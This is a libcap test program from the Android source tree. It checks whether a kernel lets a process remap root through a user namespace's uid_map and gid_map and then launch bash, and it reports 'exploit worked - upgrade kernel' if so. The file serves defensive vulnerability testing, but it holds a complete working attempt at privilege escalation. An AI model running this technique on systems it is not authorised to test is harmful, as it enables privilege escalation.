xref: /aosp_15_r20/external/libcap/tests/uns_test.c (revision 2810ac1b38eead2603277920c78344c84ddf3aff)
1 /*
2  * Try unsharing where we remap the root user by rotating uids (0,1,2)
3  * and the corresponding gids too.
4  */
5 
6 #define _GNU_SOURCE
7 
8 #include <errno.h>
9 #include <sched.h>
10 #include <stdio.h>
11 #include <stdlib.h>
12 #include <string.h>
13 #include <sys/capability.h>
14 #include <sys/mman.h>
15 #include <sys/prctl.h>
16 #include <sys/wait.h>
17 #include <unistd.h>
18 
19 #define STACK_RESERVED 10*1024
20 
21 struct my_pipe {
22     int to[2];
23     int from[2];
24 };
25 
child(void * data)26 static int child(void *data) {
27     struct my_pipe *fdsp = data;
28     static const char * const args[] = {"bash", NULL};
29 
30     close(fdsp->to[1]);
31     close(fdsp->from[0]);
32     if (write(fdsp->from[1], "1", 1) != 1) {
33 	fprintf(stderr, "failed to confirm setuid(1)\n");
34 	exit(1);
35     }
36     close(fdsp->from[1]);
37 
38     char datum[1];
39     if (read(fdsp->to[0], datum, 1) != 1) {
40 	fprintf(stderr, "failed to wait for parent\n");
41 	exit(1);
42     }
43     close(fdsp->to[0]);
44     if (datum[0] == '!') {
45 	/* parent failed */
46 	exit(0);
47     }
48 
49     setsid();
50 
51     execv("/bin/bash", (const void *) args);
52     perror("execv failed");
53     exit(1);
54 }
55 
main(int argc,char ** argv)56 int main(int argc, char **argv)
57 {
58     static const char *file_formats[] = {
59 	"/proc/%d/uid_map",
60 	"/proc/%d/gid_map"
61     };
62     static const char id_map[] = "0 1 1\n1 2 1\n2 0 1\n3 3 49999997\n";
63     cap_value_t fscap = CAP_SETFCAP;
64     cap_t orig = cap_get_proc();
65     cap_flag_value_t present;
66 
67     if (cap_get_flag(orig, CAP_SYS_ADMIN, CAP_EFFECTIVE, &present) != 0) {
68 	perror("failed to read a capability flag");
69 	exit(1);
70     }
71     if (present != CAP_SET) {
72 	fprintf(stderr,
73 		"environment missing cap_sys_admin - exploit not testable\n");
74 	exit(0);
75     }
76 
77     /* Run with this one lowered */
78     cap_set_flag(orig, CAP_EFFECTIVE, 1, &fscap, CAP_CLEAR);
79 
80     struct my_pipe fds;
81     if (pipe(&fds.from[0]) || pipe(&fds.to[0])) {
82 	perror("no pipes");
83 	exit(1);
84     }
85 
86     char *stack = mmap(NULL, STACK_RESERVED, PROT_READ|PROT_WRITE,
87 		       MAP_ANONYMOUS|MAP_PRIVATE|MAP_STACK, -1, 0);
88     if (stack == MAP_FAILED) {
89 	perror("no map for stack");
90 	exit(1);
91     }
92 
93     if (cap_setuid(1)) {
94 	perror("failed to cap_setuid(1)");
95 	exit(1);
96     }
97 
98     if (cap_set_proc(orig)) {
99 	perror("failed to raise caps again");
100 	exit(1);
101     }
102 
103     pid_t pid = clone(&child, stack+STACK_RESERVED, CLONE_NEWUSER|SIGCHLD, &fds);
104     if (pid == -1) {
105 	perror("clone failed");
106 	exit(1);
107     }
108 
109     close(fds.from[1]);
110     close(fds.to[0]);
111 
112     if (cap_setuid(0)) {
113 	perror("failed to cap_setuid(0)");
114 	exit(1);
115     }
116 
117     if (cap_set_proc(orig)) {
118 	perror("failed to raise caps again");
119 	exit(1);
120     }
121 
122     char datum[1];
123     if (read(fds.from[0], datum, 1) != 1 || datum[0] != '1') {
124 	fprintf(stderr, "failed to read child status\n");
125 	exit(1);
126     }
127     close(fds.from[0]);
128 
129     int i;
130     for (i=0; i<2; i++) {
131 	char *map_file;
132 	if (asprintf(&map_file, file_formats[i], pid) < 0) {
133 	    perror("allocate string");
134 	    exit(1);
135 	}
136 
137 	FILE *f = fopen(map_file, "w");
138 	free(map_file);
139 	if (f == NULL) {
140 	    perror("fopen failed");
141 	    exit(1);
142 	}
143 	int len = fwrite(id_map, 1, strlen(id_map), f);
144 	if (len != strlen(id_map)) {
145 	    goto bailok;
146 	}
147 	if (fclose(f)) {
148 	    goto bailok;
149 	}
150     }
151 
152     if (write(fds.to[1], ".", 1) != 1) {
153 	perror("failed to write '.'");
154 	exit(1);
155     }
156     close(fds.to[1]);
157 
158     fprintf(stderr, "user namespace launched exploit worked - upgrade kernel\n");
159     if (wait(NULL) == pid) {
160 	exit(1);
161     }
162     perror("launch failed");
163     exit(1);
164 
165 bailok:
166     fprintf(stderr, "exploit attempt failed\n");
167     if (write(fds.to[1], "!", 1) != 1) {
168 	perror("failed to inform child [ignored]");
169     }
170     exit(0);
171 }
172